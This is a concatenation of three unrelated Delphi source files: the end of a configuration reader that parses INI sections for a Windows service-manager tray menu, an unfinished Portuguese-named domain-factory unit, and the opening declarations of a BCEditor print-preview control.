AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnBarGradientStart: begin
try
Bar.GradientStart := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnBarGradientStyle: begin
Value := UpperCase(Trim(Value));
with Bar do
if Value = 'DIAGONALLEFTTORIGHT' then
GradientStyle := gsDiagonalLeftRight
else if Value = 'DIAGONALRIGHTTOLEFT' then
GradientStyle := gsDiagonalRightLeft
else if Value = 'HORIZONTAL' then
GradientStyle := gsHorizontal
else if Value = 'VERTICAL' then
GradientStyle := gsVertical
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarSide: begin
Value := UpperCase(Trim(Value));
with Bar do
if Value = 'LEFT' then
Side := sLeft
else if Value = 'RIGHT' then
Side := sRight
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnBarSpace: begin
try
Bar.Space := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnBarVisible:
Bar.Visible := ISStrToBool(Value);
mnBarWidth: begin
try
Bar.Width := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnMenuFont: begin
ISStrToFont(Value, MenuFont);
UseSystemFont := False;
end;
mnSeparatorsAlignment: begin
Value := UpperCase(Trim(Value));
with Separators do
if Value = 'LEFT' then
Alignment := taLeftJustify
else if Value = 'CENTER' then
Alignment := taCenter
else if Value = 'RIGHT' then
Alignment := taRightJustify
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnSeparatorsFade:
Separators.Fade := ISStrToBool(Value);
mnSeparatorsFadeColor: begin
try
Separators.FadeColor := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnSeparatorsFadeWidth: begin
try
Separators.FadeWidth := StrToInt(Value);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [KeyName]);
end;
end;
mnSeparatorsFlatLines:
Separators.FlatLines := ISStrToBool(Value);
mnSeparatorsFont: begin
ISStrToFont(Value, Separators.Font);
Separators.UseSystemFont := False;
end;
mnSeparatorsGradientEnd: begin
try
Separators.GradientEnd := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnSeparatorsGradientStart: begin
try
Separators.GradientStart := StringToColor(Value);
except
AbortParsingFmt(SParsingInvalidColor, [KeyName]);
end;
end;
mnSeparatorsGradientStyle: begin
Value := UpperCase(Trim(Value));
with Separators do
if Value = 'DIAGONALLEFTTORIGHT' then
GradientStyle := gsDiagonalLeftRight
else if Value = 'DIAGONALRIGHTTOLEFT' then
GradientStyle := gsDiagonalRightLeft
else if Value = 'HORIZONTAL' then
GradientStyle := gsHorizontal
else if Value = 'VERTICAL' then
GradientStyle := gsVertical
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
mnSeparatorsSeparatorStyle: begin
Value := UpperCase(Trim(Value));
with Separators do
if Value = 'NORMAL' then
SeparatorStyle := ssNormal
else if Value = 'SHORTLINE' then
SeparatorStyle := ssShortLine
else if Value = 'CAPTION' then
SeparatorStyle := ssCaption
else
AbortParsingFmt(SParsingInvalidDirectiveValue, [Value, KeyName]);
end;
end; //case directive of
end;
procedure TTMConfigReader.EnumMessages(const Line: PChar; const Ext: Longint);
var
KeyName, Value: String;
I: Integer;
Directive: TMessagesSectionDirective;
begin
SeparateDirective(Line, KeyName, Value);
if KeyName = '' then
Exit;
I := GetEnumValue(TypeInfo(TMessagesSectionDirective), 'ms' + KeyName);
if I = -1 then
AbortParsingFmt(SParsingUnknownDirective, ['Messages', KeyName]);
Directive := TMessagesSectionDirective(I);
if MessagesDirectiveLines[Directive] <> 0 then
AbortParsingFmt(SParsingEntryAlreadySpecified, ['Messages', KeyName]);
MessagesDirectiveLines[Directive] := LineNumber;
case Directive of
msAllRunningHint: begin
FAllRunningHint := Value;
end;
msSomeRunningHint: begin
FSomeRunningHint := Value;
end;
msNoneRunningHint: begin
FNoneRunningHint := Value;
end;
end; //case directive of
end;
procedure TTMConfigReader.EnumMultiAction(const Line: PChar;
const Ext: Integer);
const
ParamNames: array[0..16] of TParamInfo = (
(Name: ParamActionAction; Flags: []), //0
(Name: ParamActionFileName; Flags: [piNoQuotes]), //1
(Name: ParamActionParams; Flags: []),
(Name: ParamActionWorkingDir; Flags: []),
(Name: ParamActionShowCmd; Flags: []),
(Name: ParamActionShellExecVerb; Flags: []), //5
(Name: ParamActionMultiSection; Flags: []),
(Name: ParamServiceService; Flags: []),
(Name: ParamActionServiceAction; Flags: []),
(Name: ParamActionFlags; Flags: []),
(Name: ParamActionHtmlSrc; Flags: []), //10
(Name: ParamActionHtmlHeader; Flags: []),
(Name: ParamActionHtmlWindowFlags; Flags: []),
(Name: ParamActionHtmlHeight; Flags: []),
(Name: ParamActionHtmlWidth; Flags: []),
(Name: ParamActionHtmlLeft; Flags: []), //15
(Name: ParamActionHtmlTop; Flags: [])
);
var
Params: TBreakStringArray;
ParamNameFound: array[Low(ParamNames)..High(ParamNames)] of Boolean;
P, I, FoundIndex: Integer;
B: TBuiltInAction;
NewAction: TTMAction;
MultiAction: TTMMultiAction;
begin
MultiAction := TTMMultiAction(Ext);
NewAction := nil;
FillChar(ParamNameFound, SizeOf(ParamNameFound), 0);
BreakString(Line, Params);
try
with NewAction do
begin
for P := Low(Params) to High(Params) do
with Params[P] do
begin
if ParamName = '' then
System.Break;
case CompareParamName(Params[P], ParamNames, ParamNameFound) of
0: begin
ParamData := UpperCase(Trim(ParamData));
if ParamData = 'RUN' then
begin
NewAction := TTMRunAction.Create;
(NewAction as TTMRunAction).Variables := Variables;
end
else if ParamData = 'SHELLEXECUTE' then
begin
NewAction := TTMShellExecuteAction.Create;
(NewAction as TTMShellExecuteAction).Variables := Variables;
end
else if ParamData = 'SERVICE' then
NewAction := TTMServiceAction.Create
else if ParamData = 'MULTI' then
NewAction := TTMMultiAction.Create
else if ParamData = 'HTMLWINDOW' then
begin
NewAction := TTMHtmlWindowAction.Create;
with (NewAction as TTMHtmlWindowAction) do
begin
Variables := Self.Variables;
HtmlActions := Self.HtmlActions;
end; //tmaction as ttmhtmlwindowaction
end
else
begin
FoundIndex := -1;
for B := Low(B) to High(B) do
if SameText('BIA' + ParamData,
UpperCase(GetEnumName(TypeInfo(TBuiltInAction), Ord(B)))) then
begin
FoundIndex := 0;
NewAction := TTMBuiltInAction.Create(B);
with NewAction as TTMBuiltInAction do
OnExecute := OnBuiltInActionExecute;
System.Break;
end; //if sametext
if FoundIndex = -1 then
AbortParsingFmt(SParsingUnknownActionType, [ParamData]);
end;
end;
1: begin
if (NewAction is TTMRunAction) then
(NewAction as TTMRunAction).FileName := ParamData
else if (NewAction is TTMShellExecuteAction) then
(NewAction as TTMShellExecuteAction).FileName := ParamData
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
2: begin
if (NewAction is TTMRunAction) then
(NewAction as TTMRunAction).Parameters := ParamData
else if (NewAction is TTMShellExecuteAction) then
(NewAction as TTMShellExecuteAction).Parameters := ParamData
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
3: begin
if (NewAction is TTMRunAction) then
(NewAction as TTMRunAction).WorkingDir := ParamData
else if (NewAction is TTMShellExecuteAction) then
(NewAction as TTMShellExecuteAction).WorkingDir := ParamData
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
4: begin
ParamData := UpperCase(Trim(ParamData));
if (NewAction is TTMRunAction) then
with NewAction as TTMRunAction do
if ParamData = 'NORMAL' then
ShowCmd := swNormal
else if ParamData = 'HIDDEN' then
ShowCmd := swHidden
else if ParamData = 'MAXIMIZED' then
ShowCmd := swMaximized
else if ParamData = 'MINIMIZED' then
ShowCmd := swMinimized
else
AbortParsingFmt(SParsingUnknownShowCmd, [ParamData])
else if (NewAction is TTMShellExecuteAction) then
with NewAction as TTMShellExecuteAction do
if ParamData = 'NORMAL' then
ShowCmd := swNormal
else if ParamData = 'HIDDEN' then
ShowCmd := swHidden
else if ParamData = 'MAXIMIZED' then
ShowCmd := swMaximized
else if ParamData = 'MINIMIZED' then
ShowCmd := swMinimized
else
AbortParsingFmt(SParsingUnknownShowCmd, [ParamData])
else
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
end;
5: begin
if not (NewAction is TTMShellExecuteAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName])
else
(NewAction as TTMShellExecuteAction).Verb := ParamData;
end;
6: begin
if not (NewAction is TTMMultiAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName])
else
ReadMultiAction(NewAction as TTMMultiAction, ParamData);
end;
7: begin
if NewAction is TTMServiceAction then
begin
//We first have to search for the service in the
// "Services" list
FoundIndex := -1;
for I := 0 to Services.Count - 1 do
if SameText((Services[I] as TTMService).ServiceName, Trim(ParamData)) then
begin
FoundIndex := I;
System.Break;
end;
if FoundIndex = -1 then
AbortParsingFmt(SParsingParamUnknownService, [ParamName]);
(NewAction as TTMServiceAction).Service :=
(Services[FoundIndex] as TTMService);
end
else //NewAction is ttmserviceaction or itemtype = mitservicesubmenu
AbortParsing(SParsingServiceParamInvalid);
end;
8: begin
if not (NewAction is TTMServiceAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
ParamData := UpperCase(Trim(ParamData));
with NewAction as TTMServiceAction do
if ParamData = 'STARTRESUME' then
Action := saStartResume
else if ParamData = 'PAUSE' then
Action := saPause
else if ParamData = 'STOP' then
Action := saStop
else if ParamData = 'RESTART' then
Action := saRestart
else
AbortParsingFmt(SParsingInvalidServiceAction, [ParamData]);
end;
9: begin
if not Assigned(NewAction) then
AbortParsing(SParsingCannotAssignActionFlagsYet);
while True do
case ExtractFlag(ParamData, ActionFlags) of
-2: System.Break;
-1: AbortParsingFmt(SParsingParamUnknownFlag2, [ParamName]);
0: NewAction.Flags := NewAction.Flags + [afIgnoreErrors];
1: NewAction.Flags := NewAction.Flags + [afWaitUntilTerminated];
2: NewAction.Flags := NewAction.Flags + [afWaitUntilIdle];
end; //while true do case extractflag of
end;
10: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
(NewAction as TTMHtmlWindowAction).Src := ParamData;
end;
11: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
(NewAction as TTMHtmlWindowAction).Header := ParamData;
end;
12: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
with (NewAction as TTMHtmlWindowAction) do
while True do
case ExtractFlag(ParamData, TMStruct.HtmlWindowFlags) of
-2: System.Break;
-1: AbortParsingFmt(SParsingParamUnknownFlag2, [ParamName]);
0: HtmlWindowFlags := HtmlWindowFlags + [hwfMaximized];
1: HtmlWindowFlags := HtmlWindowFlags + [hwfNoResize];
2: HtmlWindowFlags := HtmlWindowFlags + [hwfNoScrollbars];
3: HtmlWindowFlags := HtmlWindowFlags + [hwfEnableContextMenu];
4: HtmlWindowFlags := HtmlWindowFlags + [hwfNoCloseButton];
5: HtmlWindowFlags := HtmlWindowFlags + [hwfNoHeader];
6: HtmlWindowFlags := HtmlWindowFlags + [hwfAlwaysOnTop];
end; //with (..) do while true do case extractflag of
end;
13: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(NewAction as TTMHtmlWindowAction).Height := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
14: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(NewAction as TTMHtmlWindowAction).Width := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
15: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(NewAction as TTMHtmlWindowAction).Left := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
16: begin
if not (NewAction is TTMHtmlWindowAction) then
AbortParsingFmt(SParsingInvalidActionParam, [ParamName]);
try
(NewAction as TTMHtmlWindowAction).Top := StrToInt(ParamData);
except
AbortParsingFmt(SParsingParamInvalidIntValue, [ParamName]);
end;
end;
end; //case
end; //for p do with params[p] do
{ Validation }
//Service:
if (NewAction is TTMServiceAction)
and (not ParamNameFound[7]) then
AbortParsingFmt(SParsingParamExpected, [ParamServiceService]);
//FileName:
if ((NewAction is TTMRunAction) or (NewAction is TTMShellExecuteAction))
and (not ParamNameFound[1]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionFileName]);
//Action:
if not ParamNameFound[0] then
AbortParsingFmt(SParsingParamExpected, [ParamActionAction]);
//Actions:
if (NewAction is TTMMultiAction) and (not ParamNameFound[6]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionMultiSection]);
//ServiceAction:
if (NewAction is TTMServiceAction) and (not ParamNameFound[8]) then
AbortParsingFmt(SParsingParamExpected, [ParamActionServiceAction]);
//Flags:
if (afWaitUntilTerminated in NewAction.Flags) and
(not ((NewAction is TTMRunAction) or (NewAction is TTMServiceAction))) then
AbortParsingFmt(SParsingInvalidActionFlag, ['waituntilterminated']);
if (afWaitUntilIdle in NewAction.Flags) and
(not ((NewAction is TTMRunAction) or (NewAction is TTMServiceAction))) then
AbortParsingFmt(SParsingInvalidActionFlag, ['waituntilidle']);
end; //with newserviceitem
except
on E: Exception do
begin
FreeAndNil(NewAction);
AbortParsing(E.Message);
Exit;
end;
end;
MultiAction.Add(NewAction)
end;
procedure TTMConfigReader.EnumServices(const Line: PChar;
const Ext: Longint);
const
ParamNames: array[0..0] of TParamInfo = (
(Name: ParamServicesName; Flags: [piNoEmpty]){,
(Name: ParamServicesDisplayName; Flags: [piNoEmpty])});
var
Params: TBreakStringArray;
ParamNameFound: array[Low(ParamNames)..High(ParamNames)] of Boolean;
NewServiceItem: TTMService;
P: Integer;
begin
FillChar(ParamNameFound, SizeOf(ParamNameFound), 0);
BreakString(Line, Params);
NewServiceItem := TTMService.Create;
//the TTMService object is already owned by the list
try
with NewServiceItem do
begin
for P := Low(Params) to High(Params) do
with Params[P] do
begin
if ParamName = '' then
Break;
case CompareParamName(Params[P], ParamNames, ParamNameFound) of
0: ServiceName := ParamData;
end;
end; //with params[p] do
try
Open;
except
//Apparently, the service hasn't been installed; the menu items
// will be disabled
end; //try..except
end; //with newserviceitem
except
on E: Exception do
begin
FreeAndNil(NewServiceItem);
AbortParsing(E.Message);
Exit;
end;
end;
Services.Add(NewServiceItem);
end;
procedure TTMConfigReader.EnumVariables(const Line: PChar;
const Ext: Longint);
function GetRegVariable(RegRoot, RegKey, RegValue: String): String;
var
Reg: TRegistry;
begin
try
Reg := TRegistry.Create(KEY_QUERY_VALUE);
with Reg do
begin
//Set root
if RegRoot = 'HKCR' then
RootKey := HKEY_CLASSES_ROOT
else if RegRoot = 'HKCU' then
RootKey := HKEY_CURRENT_USER
else if RegRoot = 'HKLM' then
RootKey := HKEY_LOCAL_MACHINE
else if RegRoot = 'HKU' then
RootKey := HKEY_USERS
else if RegRoot = 'HKCC' then
RootKey := HKEY_CURRENT_CONFIG
else
AbortParsingFmt(SParsingInvalidRegRoot, [RegRoot]);
//Open key
try
if not OpenKey(RegValue, False) then
raise Exception.Create('Could not open registry key (OpenKey returned false)');
except
AbortParsingFmt(SParsingCouldNotOpenRegKey, [RegRoot, RegKey]);
end;
//Read value
try
case GetDataType(RegValue) of
rdString, rdExpandString:
Result := ReadString(RegValue);
rdInteger:
Result := IntToStr(ReadInteger(RegValue));
else
AbortParsingFmt(SParsingRegValueInvalidFormat,
[RegRoot, RegKey, RegValue,
GetEnumName(TypeInfo(TRegDataType), Ord(GetDataType(RegValue)))]); { ? }
end; //case getdatatype(regvalue)
except
AbortParsingFmt(SParsingCouldNotReadRegValue, [RegRoot, RegKey, RegValue]);
end;
end; //with reg
finally
FreeAndNil(Reg);
end;
end;
const
ParamNames: array[0..11] of TParamInfo = (
(Name: ParamVariablesName; Flags: [piNoEmpty]), //0
(Name: ParamVariablesType; Flags: []), //1
(Name: ParamVariablesFlags; Flags: []),
(Name: ParamVariablesValue; Flags: []),
(Name: ParamVariablesRegRoot; Flags: []),
(Name: ParamVariablesRegKey; Flags: []), //5
(Name: ParamVariablesRegValue; Flags: []),
(Name: ParamVariablesEnvName; Flags: []),
(Name: ParamVariablesCmdLineParamName; Flags: []),
(Name: ParamVariablesDefaultValue; Flags: []),
(Name: ParamVariablesPromptCaption; Flags: []), //10
(Name: ParamVariablesPromptText; Flags: []));
var
Params: TBreakStringArray;
ParamNameFound: array[Low(ParamNames)..High(ParamNames)] of Boolean;
NewVariableItem: TVariableBase;
VarType: TVarType;
RegRoot, RegKey, RegValue: String;
EnvName: String;
SwitchName: String;
DefValue: String;
P: Integer;
begin
FillChar(ParamNameFound, SizeOf(ParamNameFound), 0);
BreakString(Line, Params);
VarType := vtStatic;
// NewVariableItem := TVariable.Create;
NewVariableItem := nil;
try
with NewVariableItem do
begin
for P := Low(Params) to High(Params) do
with Params[P] do
begin
if ParamName = '' then
Break;
case CompareParamName(Params[P], ParamNames, ParamNameFound) of
0: begin
if not Assigned(NewVariableItem) then
AbortParsing(SParsingAssignVarTypeFirst);
Name := ParamData;
end;
1: begin
ParamData := UpperCase(Trim(ParamData));
if ParamData = 'STATIC' then
VarType := vtStatic
else if ParamData = 'REGISTRY' then
VarType := vtRegistry
else if ParamData = 'ENVIRONMENT' then
VarType := vtEnvironment
else if ParamData = 'COMMANDLINE' then
VarType := vtCmdLine
else if ParamData = 'PROMPT' then
VarType := vtPrompt
else
AbortParsingFmt(SParsingUnknownVarType, [ParamData]);
if VarType = vtPrompt then
NewVariableItem := TPromptVariable.Create
else
NewVariableItem := TVariable.Create;
end;
2: begin
if not Assigned(NewVariableItem) then
AbortParsing(SParsingAssignVarTypeFirst);
while True do
case ExtractFlag(ParamData, VariableFlags) of
-2: Break;
-1: AbortParsingFmt(SParsingParamUnknownFlag2, [ParamName]);
0: Flags := Flags + [vfIsPath];
end;
end;
3: begin
if VarType <> vtStatic then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
(NewVariableItem as TVariable).Value := ExpandVariables(ParamData, Variables);
end;
4: begin
if VarType <> vtRegistry then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
RegRoot := ParamData;
end;
5: begin
if VarType <> vtRegistry then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
RegKey := ExpandVariables(ParamData, Variables);
end;
6: begin
if VarType <> vtRegistry then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
RegValue := ExpandVariables(ParamData, Variables);
end;
7: begin
if VarType <> vtEnvironment then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
EnvName := ExpandVariables(ParamData, Variables);
end;
8: begin
if VarType <> vtCmdLine then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
SwitchName := ExpandVariables(ParamData, Variables);
end;
9: begin
if not (VarType in [vtRegistry, vtEnvironment, vtCmdLine, vtPrompt]) then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
DefValue := ExpandVariables(ParamData, Variables);
end;
10: begin
if VarType <> vtPrompt then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
(NewVariableItem as TPromptVariable).Caption := ExpandVariables(ParamData, Variables);
end;
11: begin
if VarType <> vtPrompt then
AbortParsingFmt(SParsingInvalidVarParam, [ParamName]);
(NewVariableItem as TPromptVariable).Text := ExpandVariables(ParamData, Variables);
end;
end;
end; //for p := low(params) to high do with params[p] do
if VarType in [vtRegistry, vtEnvironment, vtCmdLine] then
try
case VarType of
vtRegistry:
Value := GetRegVariable(UpperCase(Trim(RegRoot)), RegKey, RegValue);
vtEnvironment:
Value := GetEnv(EnvName);
vtCmdLine: begin
Value := FindCmdSwitch('-' + SwitchName + '=');
if Value = '' then
raise Exception.CreateFmt(SParsingCmdLineParameterNotFound, [SwitchName]);
end;
end; //case vartype of
except
if DefValue <> '' then
Value := DefValue
else
raise;
end //if vartype in [reg,env,cmdline] then try..except
else if VarType = vtPrompt then
(NewVariableItem as TPromptVariable).DefaultValue := DefValue;
end; //with newvariableitem
except
on E: Exception do
begin
FreeAndNil(NewVariableItem);
AbortParsing(E.Message);
Exit;
end;
end;
Variables.Add(NewVariableItem)
end;
function TTMConfigReader.ISStrToBool(S: String): Boolean;
begin
Result := False;
S := Lowercase(S);
if (S = '1') or (S = 'yes') or (S = 'true') or (S = 'on') then
Result := True
else if (S = '0') or (S = 'no') or (S = 'false') or (S = 'off') then
Result := False
else
AbortParsing(SParsingParamInvalidBoolValue);
end;
procedure TTMConfigReader.ISStrToFont(const S: String; F: TFont);
const
FontStyleFlags: array[0..3] of PChar = (
'bold', 'italic', 'underline', 'strikeout');
var
Params: TStrings;
FontStyleParam: String;
I: Integer;
begin
Params := TStringList.Create;
try
try
StrTokenToStrings(S, ',', Params);
with F do
for I := 0 to Params.Count - 1 do
case I of
0: Name := Params[I];
1: Size := StrToInt(Params[I]);
2: Color := StringToColor(Params[I]);
3: begin
FontStyleParam := Params[I];
while True do
case ExtractFlag(FontStyleParam, FontStyleFlags) of
-2: Break;
-1: AbortParsing(SParsingUnknownFontStyle);
0: Style := Style + [fsBold];
1: Style := Style + [fsItalic];
2: Style := Style + [fsUnderline];
3: Style := Style + [fsStrikeOut];
end;
end;
end; //case i
except
AbortParsing(SParsingInvalidFontSpec);
end;
finally
FreeAndNil(Params);
end;
end;
procedure TTMConfigReader.ReadBcBarPopupMenu(
const BcBarPopupMenu: TBcBarPopupMenu; const SectionName: String);
{ This procedure reads popup menu settings from a section
with name SectionName + MENUSETTINGSSUFFIX, and the menu
from the section with name SectionName }
var
I: TMenuSectionDirective;
begin
ValidateProperties;
{ Initializations }
for I := Low(I) to High(I) do
MenuDirectiveLines[I] := 0;
{ Read the settings }
EnumIniSection(EnumMenuSettings, SectionName + MENUSETTINGSSUFFIX,
Longint(BcBarPopupMenu));
BcBarPopupMenu.FlushDoubleBuffer;
{ Read the menu items }
ReadMenu(BcBarPopupMenu.Items, SectionName);
end;
procedure TTMConfigReader.ReadMenu(const MenuItems: TMenuItem;
const SectionName: String);
var
SaveLineNumber: Integer;
begin
ValidateProperties;
{ Read the menu items }
SaveLineNumber := LineNumber;
EnumIniSection(EnumMenuItems, SectionName, Longint(MenuItems));
LineNumber := SaveLineNumber;
end;
procedure TTMConfigReader.ReadMultiAction(
const MultiAction: TTMMultiAction; const SectionName: String);
var
SaveLineNumber: Integer;
begin
ValidateProperties;
{ Read the action items }
SaveLineNumber := LineNumber;
EnumIniSection(EnumMultiAction, SectionName, Longint(MultiAction));
LineNumber := SaveLineNumber;
end;
procedure TTMConfigReader.ReadSettings;
var
I: TConfigSectionDirective;
J: TMessagesSectionDirective;
begin
ValidateProperties;
{ Validation }
if (not Assigned(FImageList)) or (not Assigned(FServices)) or
(not Assigned(FTrayIcon)) or (not Assigned(FCheckServicesTimer)) then
raise Exception.Create(SReaderHasntBeenInitializedYet);
{ Initializations }
for I := Low(I) to High(I) do
ConfigDirectiveLines[I] := 0;
for J := Low(J) to High(J) do
MessagesDirectiveLines[J] := 0;
{ Read the settings }
EnumIniSection(EnumVariables, 'Variables', 0);
EnumIniSection(EnumAboutText, 'AboutText', 0);
EnumIniSection(EnumServices, 'Services', 0);
EnumIniSection(EnumConfig, 'Config', 0);
//Validate [Config] settings
if (ConfigDirectiveLines[csTrayIcon] = 0) then
if (ConfigDirectiveLines[csTrayIconAllRunning] = 0) and
(ConfigDirectiveLines[csTrayIconSomeRunning] = 0) and
(ConfigDirectiveLines[csTrayIconNoneRunning] = 0) then
AbortParsing(SValNoTrayIconAssigned)
else
if (ConfigDirectiveLines[csTrayIconAllRunning] = 0) or
(ConfigDirectiveLines[csTrayIconSomeRunning] = 0) or
(ConfigDirectiveLines[csTrayIconNoneRunning] = 0) then
AbortParsing(SValMustSpecifyThreeStateIcons);
EnumIniSection(EnumMessages, 'Messages', 0);
ReadMultiAction(DoubleClickAction, 'DoubleClickAction');
ReadMultiAction(StartupAction, 'StartupAction');
end;
procedure TTMConfigReader.SetCustomAboutText(const Value: TStrings);
begin
FCustomAboutText.Assign(Value);
end;
procedure TTMConfigReader.SetScript(const Value: TStringList);
begin
FScript.Assign(Value);
end;
procedure TTMConfigReader.ValidateProperties;
begin
if (not Assigned(CheckServicesTimer)) or
(not Assigned(DoubleClickAction)) or
(not Assigned(ImageList)) or
(not Assigned(OnBuiltInActionExecute)) or
(not Assigned(OnSelectMenuItem)) or
(not Assigned(Services)) or
(not Assigned(TrayIcon)) or
(not Assigned(Variables)) then
raise Exception.Create(SParsingValidatePropertiesFailed);
end;
end.
|
unit FabricaDeDominios;
interface
uses Classes, SqlExpr, Provider, DB, DBClient,
{ helsonsant }
Util, DataUtil, UnModelo, Dominio;
type
TFabricaDeDominios = class
private
function CopiarCampo(const CampoOrigem, CampoDestino: TField;
const DataSet: TDataSet): TField;
function CriarCampo(const CampoOrigem: TField; const DataSet: TDataSet;
const Modelo: TModelo = nil): Boolean;
protected
procedure ClearPriorDataObject(const Dominio: string;
const Modelo: TModelo);
procedure GenerateDataObject(const Dominio: TDominio; const Modelo: TModelo);
public
constructor Create(const Conexao: TSQLConnection); reintroduce;
procedure FabricarDominio(const Dominio: TDominio; const Modelo: TModelo);
end;
implementation
procedure TFabricaDeDominios.GenerateDataObject(const Dominio: TDominio;
const Modelo: TModelo);
var
_ds: TSQLDataSet;
_dsp: TDataSetProvider;
_cds: TClientDataSet;
_dsr: TDataSource;
begin
// ClearPriorDataObject
// Gera Conjunto de Objetos da Classe Entidade.
_ds := Modelo.ds;
_ds.CommandText := Dominio.Sql.ObterSql;
_dsp := Modelo.dsp;
_dsp.DataSet := _ds;
_dsp.Options := [] + [poCascadeDeletes] + [poCascadeUpdates] + [poAllowCommandText];
_dsp.UpdateMode := upWhereKeyOnly;
// Configura ClientDataSet
_cds := Modelo.cds;
_cds.ProviderName := 'dsp';
_dsr := Modelo.dsr;
_dsr.DataSet := _cds;
// todo: Gerar Dependentes
end;
constructor TFabricaDeDominios.Create(const Conexao: TSQLConnection);
begin
end;
function TFabricaDeDominios.CriarCampo(const CampoOrigem: TField;
const DataSet: TDataSet; const Modelo: TModelo = nil): Boolean;
var
_campoDestino: TField;
begin
Result := True;
_campoDestino := nil;
case CampoOrigem.DataType of
ftString: _campoDestino := TStringField.Create(Modelo);
ftSmallint: _campoDestino := TSmallintField.Create(Modelo);
ftInteger: _campoDestino := TIntegerField.Create(Modelo);
ftWord: _campoDestino := TWordField.Create(Modelo);
ftFloat: _campoDestino := TFloatField.Create(Modelo);
ftCurrency: _campoDestino := TCurrencyField.Create(Modelo);
ftBCD: _campoDestino := TBCDField.Create(Modelo);
ftDate: _campoDestino := TDateField.Create(Modelo);
ftTime: _campoDestino := TTimeField.Create(Modelo);
ftDateTime: _campoDestino := TDateTimeField.Create(Modelo);
ftAutoInc: _campoDestino := TAutoIncField.Create(Modelo);
ftWideString: _campoDestino := TWideStringField.Create(Modelo);
ftLargeint: _campoDestino := TLargeIntField.Create(Modelo);
ftTimeStamp: _campoDestino := TSQLTimesTampField.Create(Modelo);
ftFMTBcd: _campoDestino := TFMTBCDField.Create(Modelo);
end;
if _campoDestino is TFMTBCDField then
(_campoDestino as TFMTBCDField).Precision := (CampoOrigem as TFMTBCDField).Precision;
if _campoDestino is TFloatField then
(_campoDestino as TFloatField).Precision := (CampoOrigem as TFloatField).Precision;
if _campoDestino is TCurrencyField then
(_campoDestino as TCurrencyField).Precision := (CampoOrigem as TCurrencyField).Precision;
if _campoDestino is TBCDField then
(_campoDestino as TBCDField).Precision := (CampoOrigem as TBCDField).Precision;
end;
function TFabricaDeDominios.CopiarCampo(const CampoOrigem, CampoDestino: TField;
const DataSet: TDataSet): TField;
begin
CampoDestino.Name := CampoOrigem.Name;
CampoDestino.FieldName := CampoOrigem.FieldName;
CampoDestino.Alignment := CampoOrigem.Alignment;
CampoDestino.DefaultExpression := CampoOrigem.DefaultExpression;
CampoDestino.DisplayLabel := CampoOrigem.DisplayLabel;
CampoDestino.DisplayWidth := CampoOrigem.DisplayWidth;
CampoDestino.FieldKind := CampoOrigem.FieldKind;
CampoDestino.Tag := CampoOrigem.Tag;
CampoDestino.Size := CampoOrigem.Size;
CampoDestino.Visible := CampoOrigem.Visible;
CampoDestino.ProviderFlags := CampoOrigem.ProviderFlags;
CampoDestino.Index := CampoOrigem.Index;
CampoDestino.DataSet := DataSet;
Result := CampoDestino;
end;
procedure TFabricaDeDominios.ClearPriorDataObject(const Dominio: string;
const Modelo: TModelo);
begin
end;
procedure TFabricaDeDominios.FabricarDominio(const Dominio: TDominio;
const Modelo: TModelo);
begin
end;
end.
|
unit BCEditor.Print.Preview;
{$M+}
interface
uses
Windows, Messages, Classes, SysUtils, Controls, Graphics, Forms,
BCEditor.Print;
type
TBCEditorPreviewPageEvent = procedure(Sender: TObject; PageNumber: Integer) of object;
TBCEditorPreviewScale = (pscWholePage, pscPageWidth, pscUserScaled);
TBCEditorPrintPreview = class(TCustomControl)
strict private
FBorderStyle: TBorderStyle;
FEditorPrint: TBCEditorPrint;
FOnPreviewPage: TBCEditorPreviewPageEvent;
FOnScaleChange: TNotifyEvent;
FPageBackground: TColor;
FPageNumber: Integer;
FPageSize: TPoint;
FScaleMode: TBCEditorPreviewScale;
FScalePercent: Integer;
